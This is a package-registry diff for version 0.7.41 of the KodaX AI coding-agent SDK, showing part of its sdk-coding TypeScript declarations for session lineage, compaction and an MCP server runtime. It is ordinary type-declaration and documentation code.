@kodax-ai/kodax 0.7.40 → 0.7.41
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +57 -0
- package/dist/chunks/{chunk-NDNILSTR.js → chunk-5TFLMGER.js} +1 -1
- package/dist/chunks/{chunk-FAVPT4P7.js → chunk-6OB4AJOM.js} +1 -1
- package/dist/chunks/chunk-HYWVRTFA.js +1233 -0
- package/dist/chunks/chunk-SX2IS5JP.js +16 -0
- package/dist/chunks/chunk-ZPJPNLBK.js +462 -0
- package/dist/chunks/{compaction-config-A7XZ6H5Y.js → compaction-config-LT5PEXPT.js} +1 -1
- package/dist/chunks/{construction-bootstrap-OFPUZTXQ.js → construction-bootstrap-HBCWJFHC.js} +1 -1
- package/dist/chunks/dist-V3BS2NKB.js +2 -0
- package/dist/chunks/{utils-DFMYJUTE.js → utils-FAFUQJ2A.js} +1 -1
- package/dist/index.d.ts +232 -7
- package/dist/index.js +2 -2
- package/dist/kodax_cli.js +922 -912
- package/dist/sdk-agent.d.ts +1459 -10
- package/dist/sdk-agent.js +1 -1
- package/dist/sdk-coding.d.ts +4543 -14
- package/dist/sdk-coding.js +1 -1
- package/dist/sdk-llm.d.ts +209 -10
- package/dist/sdk-repl.d.ts +2694 -13
- package/dist/sdk-repl.js +1 -1
- package/dist/sdk-skills.d.ts +487 -11
- package/dist/types-chunks/bash-prefix-extractor.d-B2iliwdi.d.ts +2432 -0
- package/dist/types-chunks/capability.d-BxNgd1-c.d.ts +368 -0
- package/dist/types-chunks/cost-tracker.d-C4dMlQuV.d.ts +342 -0
- package/dist/types-chunks/history-cleanup.d-q1vAvCss.d.ts +1266 -0
- package/dist/types-chunks/instance-discovery.d-DZhp77vb.d.ts +1217 -0
- package/dist/types-chunks/resolver.d-BwD6TKz7.d.ts +262 -0
- package/dist/types-chunks/storage.d-Bv9T99Qu.d.ts +584 -0
- package/dist/types-chunks/types.d-C5mHR87z.d.ts +119 -0
- package/package.json +8 -3
- package/dist/acp_events.d.ts +0 -109
- package/dist/acp_logger.d.ts +0 -20
- package/dist/acp_server.d.ts +0 -92
- package/dist/chunks/chunk-CLS57NPX.js +0 -460
- package/dist/chunks/chunk-QZEDWITG.js +0 -1226
- package/dist/chunks/chunk-Z5EBDA6R.js +0 -15
- package/dist/chunks/dist-OTUF22DA.js +0 -2
- package/dist/cli_commands.d.ts +0 -17
- package/dist/cli_option_helpers.d.ts +0 -49
- package/dist/cli_option_helpers.test.d.ts +0 -1
- package/dist/constructed_cli.d.ts +0 -82
- package/dist/constructed_cli.test.d.ts +0 -1
- package/dist/kodax_cli.d.ts +0 -7
- package/dist/self_modify_cli.d.ts +0 -81
- package/dist/self_modify_cli.test.d.ts +0 -9
- package/dist/skill_cli.d.ts +0 -15
- package/dist/skill_cli.test.d.ts +0 -1
package/dist/sdk-coding.d.ts
CHANGED
|
@@ -1,20 +1,4549 @@
|
|
|
1
|
+
import { o as KodaXMessage, a as CapabilityProvider, C as CapabilityKind, b as CapabilityResult, _ as KodaXToolDefinition, G as KodaXReasoningMode, a0 as KodaXToolUseBlock, i as KodaXContentBlock, s as KodaXProviderCapabilityProfile, F as KodaXReasoningCapability, T as KodaXTaskType, k as KodaXExecutionMode, S as KodaXTaskRoutingDecision, K as KodaXAmaControllerDecision, Y as KodaXThinkingDepth } from './types-chunks/capability.d-BxNgd1-c.js';
|
|
2
|
+
export { c as KodaXAmaFanoutClass, d as KodaXAmaFanoutPolicy, e as KodaXAmaProfile, f as KodaXAmaTactic, j as KodaXCustomProviderConfig, n as KodaXImageBlock, p as KodaXModelDescriptor, r as KodaXProtocolFamily, t as KodaXProviderConfig, v as KodaXProviderConversationSemantics, y as KodaXProviderMcpSupport, B as KodaXProviderStreamOptions, E as KodaXProviderTransport, H as KodaXReasoningOverride, I as KodaXReasoningRequest, J as KodaXRedactedThinkingBlock, L as KodaXReviewScale, M as KodaXRiskLevel, N as KodaXStreamResult, P as KodaXTaskBudgetOverrides, V as KodaXTextBlock, W as KodaXThinkingBlock, X as KodaXThinkingBudgetMap, Z as KodaXTokenUsage, $ as KodaXToolResultBlock } from './types-chunks/capability.d-BxNgd1-c.js';
|
|
3
|
+
export { K as KODAX_DEFAULT_PROVIDER, b as KODAX_PROVIDERS, c as KODAX_PROVIDER_SNAPSHOTS, d as KODAX_REASONING_MODE_SEQUENCE, f as KodaXAnthropicCompatProvider, g as KodaXError, i as KodaXOpenAICompatProvider, j as KodaXProviderError, k as KodaXRateLimitError, P as ProviderName, m as buildReasoningOverrideKey, o as clearReasoningOverride, p as clearRuntimeModelProviders, q as createCustomProvider, r as getAvailableProviderNames, s as getCustomProvider, t as getCustomProviderList, u as getCustomProviderModels, v as getCustomProviderNames, x as getProvider, y as getProviderConfiguredCapabilityProfile, z as getProviderConfiguredReasoningCapability, A as getProviderList, B as getProviderModel, C as getProviderModels, E as getRuntimeModelProvider, F as getRuntimeModelProviderNames, G as isCustomProviderName, H as isKnownProvider, I as isProviderConfigured, J as isProviderName, M as isRuntimeModelProviderName, N as loadReasoningOverride, R as reasoningCapabilityToOverride, S as reasoningOverrideToCapability, T as registerCustomProviders, U as registerModelProvider, V as resolveProvider, X as saveReasoningOverride } from './types-chunks/resolver.d-BwD6TKz7.js';
|
|
4
|
+
import { K as KodaXBaseProvider, a as CostTracker } from './types-chunks/cost-tracker.d-C4dMlQuV.js';
|
|
5
|
+
import { q as CompactionDetails, ay as McpServerConfig, az as McpServersConfig, as as KodaXToolExecutionContext, a2 as KodaXRepoIntelligenceCapability, a5 as KodaXRepoIntelligenceTrace, a3 as KodaXRepoIntelligenceMode, a7 as KodaXRepoRoutingSignals, a4 as KodaXRepoIntelligenceResolvedMode, _ as KodaXOptions, P as KodaXInputArtifact, G as KodaXContextOptions, a1 as KodaXProviderPolicyHints, aD as ProviderResilienceConfig, aE as ProviderResiliencePolicy, F as FailureStage, aJ as ResilienceClassification, aB as ProviderExecutionState, aG as RecoveryDecision, aI as RecoveryResult, a8 as KodaXResult, O as KodaXFanoutSchedulerPlan, M as KodaXFanoutBranchTransition, N as KodaXFanoutSchedulerInput, z as KodaXChildContextBundle, a0 as KodaXParentReductionContract, L as KodaXFanoutBranchRecord, R as KodaXManagedProtocolPayload, u as ExtensionRuntimeContract, I as KodaXEvents, k as AutoRules, aS as ToolCallSignal, aN as SignalCollector } from './types-chunks/bash-prefix-extractor.d-B2iliwdi.js';
|
|
6
|
+
export { C as AUTO_MODE_DENIAL_CONSECUTIVE_THRESHOLD, n as AUTO_MODE_DENIAL_CUMULATIVE_THRESHOLD, A as AgentsFile, a as AskUserMultiOptions, b as AskUserQuestionItem, c as AskUserQuestionOptions, d as AutoModeAskUser, e as AutoModeAskUserVerdict, D as AutoModeDenialTracker, f as AutoModeEngine, g as AutoModeGuardrailConfig, h as AutoModeSharedState, i as AutoModeStats, j as AutoModeToolGuardrail, B as BASH_POLICY_SPEC, E as BREAKER_ERROR_THRESHOLD, aU as BREAKER_WINDOW_MS, l as BashPrefixExtractor, m as BashPrefixResult, o as CircuitBreaker, p as CompactionAnchor, r as CompactionResult, s as CompactionUpdate, t as CreateBashPrefixExtractorOptions, v as ExtractCommandPrefixOptions, K as KodaXAgentMode, w as KodaXBudgetDisclosureZone, x as KodaXBudgetExtensionRequest, y as KodaXChildAgentResult, H as KodaXContextTokenSnapshot, J as KodaXFanoutBranchLifecycle, Q as KodaXManagedBudgetSnapshot, S as KodaXManagedTask, T as KodaXManagedTaskRuntimeState, U as KodaXManagedTaskStatusEvent, V as KodaXMcpConnectMode, W as KodaXMcpServerConfig, X as KodaXMcpServersConfig, Y as KodaXMcpTransport, Z as KodaXMemoryStrategy, $ as KodaXOrchestrationVerdict, a6 as KodaXRepoIntelligenceTraceEvent, a9 as KodaXRoleRoundSummary, aa as KodaXRuntimeVerificationContract, ab as KodaXSessionOptions, ac as KodaXSkillInvocationContext, ad as KodaXSkillMap, ae as KodaXSkillProjectionConfidence, af as KodaXTaskCapabilityHint, ag as KodaXTaskContract, ah as KodaXTaskEvidenceArtifact, ai as KodaXTaskEvidenceBundle, aj as KodaXTaskEvidenceEntry, ak as KodaXTaskRole, al as KodaXTaskRoleAssignment, am as KodaXTaskStatus, an as KodaXTaskSurface, ao as KodaXTaskToolPolicy, ap as KodaXTaskVerificationContract, aq as KodaXTaskVerificationCriterion, ar as KodaXTaskWorkItem, at as KodaXVerificationScorecard, au as KodaXVerificationScorecardCriterion, av as LoadAgentsOptions, aw as LoadedRulesSource, ax as McpConnectMode, aA as McpTransportKind, aC as ProviderRecoveryEvent, aF as RecoveryAction, aH as RecoveryLadderStep, aK as ResilienceErrorClass, aL as RulesLoadError, aM as RulesLoadResult, aO as SkippedRulesSource, aP as TodoItem, aQ as TodoList, aR as TodoStatus, aT as TrustState, b9 as autoModeDenialShouldFallback, ba as breakerShouldFallback, aV as collectAllSignals, aW as computeRulesFingerprint, a_ as createAutoModeDenialTracker, aX as createAutoModeToolGuardrail, aY as createBashPrefixExtractor, aZ as createCircuitBreaker, a$ as extractCommandPrefix, b0 as formatAgentsForPrompt, b1 as getKodaxGlobalDir, b2 as loadAgentsFiles, b3 as loadAutoRules, b4 as parseAutoRules, b5 as readTrustState, b6 as recordAutoModeAllow, b7 as recordAutoModeBlock, b8 as recordBreakerError, bb as trustProjectRules } from './types-chunks/bash-prefix-extractor.d-B2iliwdi.js';
|
|
7
|
+
import { N as SessionExtension, L as SessionEntry, g as CompactionPolicy, S as Session, C as CompactionContext, w as PolicyCompactionResult, Q as QualityInvariant, W as ToolCapability } from './types-chunks/history-cleanup.d-q1vAvCss.js';
|
|
8
|
+
export { e as CompactionEntry, f as CompactionEntryPayload, h as DefaultSummaryCompaction, i as DefaultSummaryCompactionOptions, I as InMemorySessionOptions, K as KODAX_API_MIN_INTERVAL, n as KODAX_DEFAULT_TIMEOUT, o as KODAX_HARD_TIMEOUT, p as KODAX_MAX_INCOMPLETE_RETRIES, r as KODAX_MAX_RETRIES, s as KODAX_MAX_TOKENS, t as KODAX_RETRY_BASE_DELAY, u as KODAX_STAGGER_DELAY, v as MessageEntry, P as PROMISE_PATTERN, x as PresetDispatcher, B as RunEvent, E as RunOptions, F as RunResult, G as Runner, T as SessionForkOptions, $ as cleanupIncompleteToolCalls, a0 as countTokens, a1 as createInMemorySession, a4 as estimateTokens, a7 as registerPresetDispatcher, aa as validateAndFixToolHistory } from './types-chunks/history-cleanup.d-q1vAvCss.js';
|
|
9
|
+
import { z as KodaXSessionLineage, q as KodaXJsonValue, l as KodaXCompactMemorySeed, w as KodaXSessionEntry, N as KodaXSessionTreeNode, y as KodaXSessionLabelEntry, F as KodaXSessionNavigationOptions, s as KodaXSessionArtifactLedgerEntry, m as KodaXExtensionSessionRecord, o as KodaXExtensionStore, a3 as SessionErrorMetadata, Y as RunnableTool, A as Agent, ae as ToolGuardrail, a as AgentMessage, _ as RunnerLlmReturn, $ as RunnerToolCall } from './types-chunks/instance-discovery.d-DZhp77vb.js';
|
|
10
|
+
export { c as AgentReasoningProfile, d as AgentTool, G as Guardrail, H as Handoff, K as KodaXCompactMemoryProgress, n as KodaXExtensionSessionState, t as KodaXSessionBranchSummaryEntry, u as KodaXSessionCompactionEntry, v as KodaXSessionData, x as KodaXSessionEntryBase, B as KodaXSessionMessageEntry, E as KodaXSessionMeta, J as KodaXSessionRuntimeInfo, L as KodaXSessionScope, M as KodaXSessionStorage, O as KodaXSessionUiHistoryItem, P as KodaXSessionUiHistoryItemType, Q as KodaXSessionWorkspaceKind, U as ReasoningDepth, ai as createAgent, aj as createHandoff } from './types-chunks/instance-discovery.d-DZhp77vb.js';
|
|
11
|
+
import '@anthropic-ai/sdk';
|
|
12
|
+
import 'openai';
|
|
13
|
+
|
|
1
14
|
/**
|
|
2
|
-
*
|
|
15
|
+
* LineageExtension — SessionExtension façade over lineage semantics.
|
|
3
16
|
*
|
|
4
|
-
*
|
|
5
|
-
*
|
|
6
|
-
*
|
|
17
|
+
* FEATURE_081 (v0.7.23): expresses today's `KodaXSessionLineage` operations
|
|
18
|
+
* (label, rewind, compaction ledger, branch summary) as a
|
|
19
|
+
* `SessionExtension` over the base `Session` primitive.
|
|
7
20
|
*
|
|
8
|
-
*
|
|
9
|
-
*
|
|
10
|
-
*
|
|
11
|
-
*
|
|
21
|
+
* FEATURE_082 (v0.7.24): moved from `@kodax-ai/coding/src/extensions/lineage.ts`
|
|
22
|
+
* to this package. Depends on `@kodax-ai/agent` for `Session` / `SessionEntry` /
|
|
23
|
+
* `SessionExtension` (Layer A primitives — extracted to `@kodax-ai/core` in
|
|
24
|
+
* FEATURE_082, merged back into `@kodax-ai/agent` in v0.7.35.1 FEATURE_142).
|
|
25
|
+
* `@kodax-ai/coding` keeps a barrel re-export.
|
|
12
26
|
*
|
|
13
|
-
*
|
|
14
|
-
*
|
|
15
|
-
*
|
|
16
|
-
*
|
|
27
|
+
* Scope:
|
|
28
|
+
* - Declare the extension object.
|
|
29
|
+
* - Implement `label` and `attachArtifact` operators that append standard
|
|
30
|
+
* entries to a Session.
|
|
31
|
+
* - Implement a `buildLineageTree` reducer that projects an entry stream
|
|
32
|
+
* back to a navigable tree.
|
|
33
|
+
* - NOT re-implemented here: `branch`, `rewind`, full compaction. Those
|
|
34
|
+
* stay in `@kodax-ai/agent/session-lineage.ts` for coding-preset use; the
|
|
35
|
+
* `LineageCompaction` policy in this package is the thin wrapper that
|
|
36
|
+
* adapts them to the Layer A `CompactionPolicy` contract.
|
|
37
|
+
*/
|
|
38
|
+
|
|
39
|
+
/**
|
|
40
|
+
* Entry types claimed by `LineageExtension`. Mirrors the legacy
|
|
41
|
+
* `KodaXSessionEntry` tagged union plus a `rewind_marker` placeholder (the
|
|
42
|
+
* legacy lineage records rewinds via `activeEntryId` mutation; Session is
|
|
43
|
+
* linear, so a marker entry is the equivalent).
|
|
44
|
+
*/
|
|
45
|
+
declare const LINEAGE_ENTRY_TYPES: readonly ["message", "label", "compaction", "branch_summary", "archive_marker", "rewind_marker", "artifact_ledger"];
|
|
46
|
+
type LineageEntryType = (typeof LINEAGE_ENTRY_TYPES)[number];
|
|
47
|
+
/**
|
|
48
|
+
* Payload shape for a `label` entry. Mirrors
|
|
49
|
+
* `KodaXSessionLabelEntry.targetId`/`label` fields on the legacy lineage.
|
|
50
|
+
*/
|
|
51
|
+
interface LineageLabelPayload {
|
|
52
|
+
readonly targetId: string;
|
|
53
|
+
readonly label?: string;
|
|
54
|
+
}
|
|
55
|
+
/**
|
|
56
|
+
* Payload shape for an `artifact_ledger` entry. Mirrors a minimal subset of
|
|
57
|
+
* `KodaXSessionArtifactLedgerEntry`; full semantic fidelity is kept on the
|
|
58
|
+
* legacy side for now and normalised in FEATURE_082.
|
|
59
|
+
*/
|
|
60
|
+
interface LineageArtifactLedgerPayload {
|
|
61
|
+
readonly ref: string;
|
|
62
|
+
readonly kind?: string;
|
|
63
|
+
readonly summary?: string;
|
|
64
|
+
}
|
|
65
|
+
/**
|
|
66
|
+
* Projected tree node. Mirrors the navigation shape of
|
|
67
|
+
* `KodaXSessionTreeNode` from `@kodax-ai/agent/types.ts`, restricted to the
|
|
68
|
+
* fields the base Session can supply.
|
|
69
|
+
*/
|
|
70
|
+
interface LineageTreeNode {
|
|
71
|
+
readonly entry: SessionEntry;
|
|
72
|
+
readonly children: LineageTreeNode[];
|
|
73
|
+
readonly label?: string;
|
|
74
|
+
}
|
|
75
|
+
/**
|
|
76
|
+
* The exported extension. Operators write standard-shaped entries; the
|
|
77
|
+
* reducer projects an entry stream back to a navigable tree.
|
|
78
|
+
*
|
|
79
|
+
* Immutability: top-level object, `operators`, and `reducers` are all
|
|
80
|
+
* frozen. Freezes are shallow — the functions stored inside `operators`
|
|
81
|
+
* and `reducers` are immutable by nature (closures reference only
|
|
82
|
+
* module-private state). External code must not mutate the extension;
|
|
83
|
+
* doing so is a programmer error that the type-level `readonly` already
|
|
84
|
+
* disallows without a cast.
|
|
85
|
+
*/
|
|
86
|
+
declare const LineageExtension: SessionExtension;
|
|
87
|
+
|
|
88
|
+
/**
|
|
89
|
+
* LineageCompaction — `CompactionPolicy` adapter for the coding preset's
|
|
90
|
+
* FEATURE_072 lineage-native compaction runtime.
|
|
91
|
+
*
|
|
92
|
+
* FEATURE_082 (v0.7.24): introduced alongside the lineage extraction so the
|
|
93
|
+
* coding preset can implement `CompactionPolicy` without re-implementing the
|
|
94
|
+
* compaction loop. The actual compaction runtime (microcompaction, post-
|
|
95
|
+
* compact reconstruction, summary generation) stays in
|
|
96
|
+
* `@kodax-ai/agent/src/compaction/` until FEATURE_084 (v0.7.26) consolidates it.
|
|
97
|
+
*
|
|
98
|
+
* Usage (inside @kodax-ai/coding):
|
|
99
|
+
*
|
|
100
|
+
* const policy = new LineageCompaction({
|
|
101
|
+
* shouldCompact: (session, used, budget) => runFeature072Heuristic(used, budget),
|
|
102
|
+
* compact: async (session, ctx) => runFeature072Compaction(session, ctx),
|
|
103
|
+
* });
|
|
104
|
+
*
|
|
105
|
+
* The injected delegates keep this package free of coding-specific imports,
|
|
106
|
+
* preserving the dependency direction
|
|
107
|
+
* `@kodax-ai/coding -> @kodax-ai/session-lineage -> @kodax-ai/agent`.
|
|
108
|
+
*/
|
|
109
|
+
|
|
110
|
+
/**
|
|
111
|
+
* Delegates required to implement `LineageCompaction`. The coding preset
|
|
112
|
+
* supplies implementations that bridge to the existing FEATURE_072 code
|
|
113
|
+
* paths.
|
|
114
|
+
*/
|
|
115
|
+
interface LineageCompactionDelegates {
|
|
116
|
+
readonly shouldCompact: (session: Session, tokensUsed: number, budget: number) => boolean;
|
|
117
|
+
readonly compact: (session: Session, ctx: CompactionContext) => Promise<PolicyCompactionResult>;
|
|
118
|
+
readonly restore?: (session: Session, hint: unknown) => Promise<void>;
|
|
119
|
+
}
|
|
120
|
+
/**
|
|
121
|
+
* `CompactionPolicy` implementation that preserves FEATURE_072 lineage-native
|
|
122
|
+
* compaction semantics by delegating to injected coding-preset functions.
|
|
123
|
+
*/
|
|
124
|
+
declare class LineageCompaction implements CompactionPolicy {
|
|
125
|
+
readonly name = "lineage-compaction";
|
|
126
|
+
private readonly delegates;
|
|
127
|
+
constructor(delegates: LineageCompactionDelegates);
|
|
128
|
+
shouldCompact(session: Session, tokensUsed: number, budget: number): boolean;
|
|
129
|
+
compact(session: Session, ctx: CompactionContext): Promise<PolicyCompactionResult>;
|
|
130
|
+
restore(session: Session, hint: unknown): Promise<void>;
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
/**
|
|
134
|
+
* @kodax-ai/agent Session
|
|
135
|
+
*
|
|
136
|
+
* 会话管理 - Session ID 生成和消息处理
|
|
137
|
+
*/
|
|
138
|
+
|
|
139
|
+
/**
|
|
140
|
+
* 生成会话 ID
|
|
141
|
+
* 格式: YYYYMMDD_HHMMSS
|
|
142
|
+
*/
|
|
143
|
+
declare function generateSessionId(): Promise<string>;
|
|
144
|
+
/**
|
|
145
|
+
* 从消息中提取标题
|
|
146
|
+
* 取第一条用户消息的前50个字符
|
|
147
|
+
*/
|
|
148
|
+
declare function extractTitleFromMessages(messages: KodaXMessage[]): string;
|
|
149
|
+
|
|
150
|
+
type NavigableSessionEntry = Exclude<KodaXSessionEntry, KodaXSessionLabelEntry>;
|
|
151
|
+
/**
|
|
152
|
+
* Reconcile a linear message list against an existing lineage tree.
|
|
153
|
+
*
|
|
154
|
+
* Existing matching entries are reused when possible, and only the missing
|
|
155
|
+
* tail is appended as new message entries.
|
|
156
|
+
*/
|
|
157
|
+
declare function createSessionLineage(messages: KodaXMessage[], previous?: KodaXSessionLineage): KodaXSessionLineage;
|
|
158
|
+
/**
|
|
159
|
+
* Walk the lineage from a target entry back to the root.
|
|
160
|
+
*
|
|
161
|
+
* Traversal stops safely if malformed data introduces a parent cycle.
|
|
162
|
+
*/
|
|
163
|
+
declare function getSessionLineagePath(lineage: KodaXSessionLineage, targetId?: string | null): NavigableSessionEntry[];
|
|
164
|
+
/**
|
|
165
|
+
* Build the effective LLM-visible message context for the active lineage path.
|
|
166
|
+
*
|
|
167
|
+
* FEATURE_072: for non-rewind compaction entries that carry
|
|
168
|
+
* `postCompactAttachments`, the slicer inlines attachments immediately after
|
|
169
|
+
* the summary. `getContextMessagesForEntry` stays 1-to-1 — attachments are a
|
|
170
|
+
* slicer-layer concern, which preserves the contract
|
|
171
|
+
* `entryMatchesContextMessage` and FEATURE_073's future firstKeptEntryId-based
|
|
172
|
+
* slicing both depend on.
|
|
173
|
+
*/
|
|
174
|
+
declare function getSessionMessagesFromLineage(lineage: KodaXSessionLineage, targetId?: string | null): KodaXMessage[];
|
|
175
|
+
/**
|
|
176
|
+
* Resolve an entry selector using either a direct entry id or the latest label.
|
|
177
|
+
*/
|
|
178
|
+
declare function resolveSessionLineageTarget(lineage: KodaXSessionLineage, selector: string): NavigableSessionEntry | undefined;
|
|
179
|
+
/**
|
|
180
|
+
* Move the active leaf to a selected target, optionally appending a
|
|
181
|
+
* branch-summary node that captures the abandoned path.
|
|
182
|
+
*/
|
|
183
|
+
declare function setSessionLineageActiveEntry(lineage: KodaXSessionLineage, selector: string, options?: KodaXSessionNavigationOptions): KodaXSessionLineage | null;
|
|
184
|
+
/**
|
|
185
|
+
* Append a label change entry that bookmarks a lineage node.
|
|
186
|
+
*/
|
|
187
|
+
declare function appendSessionLineageLabel(lineage: KodaXSessionLineage, selector: string, label?: string): KodaXSessionLineage | null;
|
|
188
|
+
/**
|
|
189
|
+
* Apply a compaction event to the lineage.
|
|
190
|
+
*
|
|
191
|
+
* FEATURE_072 signature change: `keptMessages` (the post-summary tail that
|
|
192
|
+
* will become lineage entries) and `postCompactAttachments` (ledger +
|
|
193
|
+
* file-content messages that live on the CompactionEntry itself) are now
|
|
194
|
+
* separate parameters. The kept tail MUST NOT include attachments — otherwise
|
|
195
|
+
* they would be double-stored (once as message entries in lineage, once on
|
|
196
|
+
* the compaction entry). Phase A keeps `postCompactAttachments` optional so
|
|
197
|
+
* current callers that pass `[]` (or omit it) behave identically to today.
|
|
198
|
+
* Phase B migrates callers to supply real attachments.
|
|
199
|
+
*/
|
|
200
|
+
declare function applySessionCompaction(lineage: KodaXSessionLineage | undefined, compactedMessages: KodaXMessage[], anchor: {
|
|
201
|
+
summary: string;
|
|
202
|
+
tokensBefore?: number;
|
|
203
|
+
tokensAfter?: number;
|
|
204
|
+
artifactLedgerId?: string;
|
|
205
|
+
reason?: string;
|
|
206
|
+
details?: KodaXJsonValue | CompactionDetails;
|
|
207
|
+
memorySeed?: KodaXCompactMemorySeed;
|
|
208
|
+
}, postCompactAttachments?: readonly KodaXMessage[]): KodaXSessionLineage;
|
|
209
|
+
/**
|
|
210
|
+
* Rewind the current session lineage to a target entry, truncating all entries after it.
|
|
211
|
+
* Records a rewind event in the lineage for auditability.
|
|
212
|
+
* Returns null if targetEntryId is not found.
|
|
213
|
+
*
|
|
214
|
+
* @param lineage - The session lineage to rewind
|
|
215
|
+
* @param targetEntryId - The entry ID to rewind to (inclusive)
|
|
216
|
+
* @returns A new lineage with entries truncated after the target, or null if target not found
|
|
217
|
+
*/
|
|
218
|
+
/**
|
|
219
|
+
* Find the entry ID of the second-to-last user message in the lineage.
|
|
220
|
+
* Used by `/rewind` (no argument) to go back one conversational turn.
|
|
221
|
+
* Returns null if fewer than 2 user messages exist.
|
|
222
|
+
*/
|
|
223
|
+
declare function findPreviousUserEntryId(lineage: KodaXSessionLineage): string | null;
|
|
224
|
+
declare function rewindSessionLineage(lineage: KodaXSessionLineage, targetEntryId: string): KodaXSessionLineage | null;
|
|
225
|
+
declare function forkSessionLineage(lineage: KodaXSessionLineage, selector?: string): KodaXSessionLineage | null;
|
|
226
|
+
/**
|
|
227
|
+
* Convert a lineage into a nested tree structure for UI presentation.
|
|
228
|
+
*/
|
|
229
|
+
declare function buildSessionTree(lineage: KodaXSessionLineage): KodaXSessionTreeNode[];
|
|
230
|
+
/**
|
|
231
|
+
* Count the effective context messages on the active lineage path.
|
|
232
|
+
*/
|
|
233
|
+
declare function countActiveLineageMessages(lineage: KodaXSessionLineage): number;
|
|
234
|
+
/**
|
|
235
|
+
* Archive message entries from old "islands" (disconnected subtrees).
|
|
236
|
+
*
|
|
237
|
+
* Each compaction entry has parentId: null, creating an independent island.
|
|
238
|
+
* The active leaf lives in one island (the "current" island). All other
|
|
239
|
+
* islands are considered "old" and eligible for archival.
|
|
240
|
+
*
|
|
241
|
+
* A "preserve closure" is computed first:
|
|
242
|
+
* - All entries in the current island (active path + recent branches)
|
|
243
|
+
* - Label targets and their ancestor chains
|
|
244
|
+
* - Non-message entries and their ancestor chains (prevents tree drift)
|
|
245
|
+
*
|
|
246
|
+
* Only entries outside the preserve closure are archived.
|
|
247
|
+
*/
|
|
248
|
+
declare function archiveOldIslands(lineage: KodaXSessionLineage): {
|
|
249
|
+
slimmedLineage: KodaXSessionLineage;
|
|
250
|
+
archivedEntries: KodaXSessionEntry[];
|
|
251
|
+
archivedCount: number;
|
|
252
|
+
archiveBatchId: string;
|
|
253
|
+
};
|
|
254
|
+
|
|
255
|
+
/**
|
|
256
|
+
* @kodax-ai/agent File Tracking
|
|
257
|
+
*/
|
|
258
|
+
|
|
259
|
+
declare function extractArtifactLedger(messages: KodaXMessage[]): KodaXSessionArtifactLedgerEntry[];
|
|
260
|
+
declare function mergeArtifactLedger(existing: KodaXSessionArtifactLedgerEntry[], next: KodaXSessionArtifactLedgerEntry[]): KodaXSessionArtifactLedgerEntry[];
|
|
261
|
+
|
|
262
|
+
type McpCapabilityKind = 'tool' | 'resource' | 'prompt';
|
|
263
|
+
type McpCapabilityRisk = 'read' | 'write' | 'network' | 'exec';
|
|
264
|
+
interface McpCatalogItem {
|
|
265
|
+
id: string;
|
|
266
|
+
serverId: string;
|
|
267
|
+
kind: McpCapabilityKind;
|
|
268
|
+
name: string;
|
|
269
|
+
title?: string;
|
|
270
|
+
summary: string;
|
|
271
|
+
tags?: string[];
|
|
272
|
+
risk?: McpCapabilityRisk;
|
|
273
|
+
annotations?: Record<string, unknown>;
|
|
274
|
+
cachedAt: string;
|
|
275
|
+
}
|
|
276
|
+
interface McpCapabilityDescriptor extends McpCatalogItem {
|
|
277
|
+
inputSchema?: unknown;
|
|
278
|
+
outputSchema?: unknown;
|
|
279
|
+
promptArgsSchema?: unknown;
|
|
280
|
+
uri?: string;
|
|
281
|
+
mimeType?: string;
|
|
282
|
+
}
|
|
283
|
+
interface McpServerCatalogSnapshot {
|
|
284
|
+
serverId: string;
|
|
285
|
+
items: McpCatalogItem[];
|
|
286
|
+
descriptors: McpCapabilityDescriptor[];
|
|
287
|
+
updatedAt: string;
|
|
288
|
+
}
|
|
289
|
+
interface McpCatalogSearchOptions {
|
|
290
|
+
kind?: McpCapabilityKind;
|
|
291
|
+
limit?: number;
|
|
292
|
+
}
|
|
293
|
+
declare function defaultMcpCacheDir(): string;
|
|
294
|
+
declare function createMcpCapabilityId(serverId: string, kind: McpCapabilityKind, name: string): string;
|
|
295
|
+
declare function parseMcpCapabilityId(id: string): {
|
|
296
|
+
serverId: string;
|
|
297
|
+
kind: McpCapabilityKind;
|
|
298
|
+
name: string;
|
|
299
|
+
};
|
|
300
|
+
declare function searchMcpCatalog(items: readonly McpCatalogItem[], query: string, options?: McpCatalogSearchOptions): McpCatalogItem[];
|
|
301
|
+
declare function getMcpCachePaths(cacheDir: string, serverId: string): {
|
|
302
|
+
catalogDir: string;
|
|
303
|
+
indexPath: string;
|
|
304
|
+
itemsPath: string;
|
|
305
|
+
};
|
|
306
|
+
|
|
307
|
+
interface McpServerRuntimeDiagnostics {
|
|
308
|
+
serverId: string;
|
|
309
|
+
connect: 'lazy' | 'prewarm' | 'disabled';
|
|
310
|
+
status: 'idle' | 'connecting' | 'ready' | 'error' | 'disabled';
|
|
311
|
+
dirty: boolean;
|
|
312
|
+
lastError?: string;
|
|
313
|
+
cachedAt?: string;
|
|
314
|
+
tools: number;
|
|
315
|
+
resources: number;
|
|
316
|
+
prompts: number;
|
|
317
|
+
}
|
|
318
|
+
declare class McpServerRuntime {
|
|
319
|
+
private readonly serverId;
|
|
320
|
+
private readonly config;
|
|
321
|
+
private readonly cacheDir;
|
|
322
|
+
private transport?;
|
|
323
|
+
private readonly pending;
|
|
324
|
+
private nextRequestId;
|
|
325
|
+
private initialized;
|
|
326
|
+
private connectPromise?;
|
|
327
|
+
private catalog?;
|
|
328
|
+
private diagnostics;
|
|
329
|
+
constructor(serverId: string, config: McpServerConfig, cacheDir: string);
|
|
330
|
+
getDiagnostics(): McpServerRuntimeDiagnostics;
|
|
331
|
+
prewarmIfNeeded(): Promise<void>;
|
|
332
|
+
/** Load catalog from memory or disk only — never triggers a lazy connection. */
|
|
333
|
+
getCachedCatalog(): Promise<McpServerCatalogSnapshot | undefined>;
|
|
334
|
+
getCatalog(forceRefresh?: boolean): Promise<McpServerCatalogSnapshot>;
|
|
335
|
+
describeCapability(capabilityId: string): Promise<McpCapabilityDescriptor | undefined>;
|
|
336
|
+
callTool(name: string, args: Record<string, unknown>): Promise<{
|
|
337
|
+
content?: string;
|
|
338
|
+
structuredContent?: unknown;
|
|
339
|
+
metadata?: Record<string, unknown>;
|
|
340
|
+
}>;
|
|
341
|
+
readResource(name: string, options: Record<string, unknown>): Promise<{
|
|
342
|
+
content?: string;
|
|
343
|
+
structuredContent?: unknown;
|
|
344
|
+
metadata?: Record<string, unknown>;
|
|
345
|
+
}>;
|
|
346
|
+
getPrompt(name: string, args: Record<string, unknown>): Promise<unknown>;
|
|
347
|
+
refreshCatalog(forceReconnect?: boolean): Promise<void>;
|
|
348
|
+
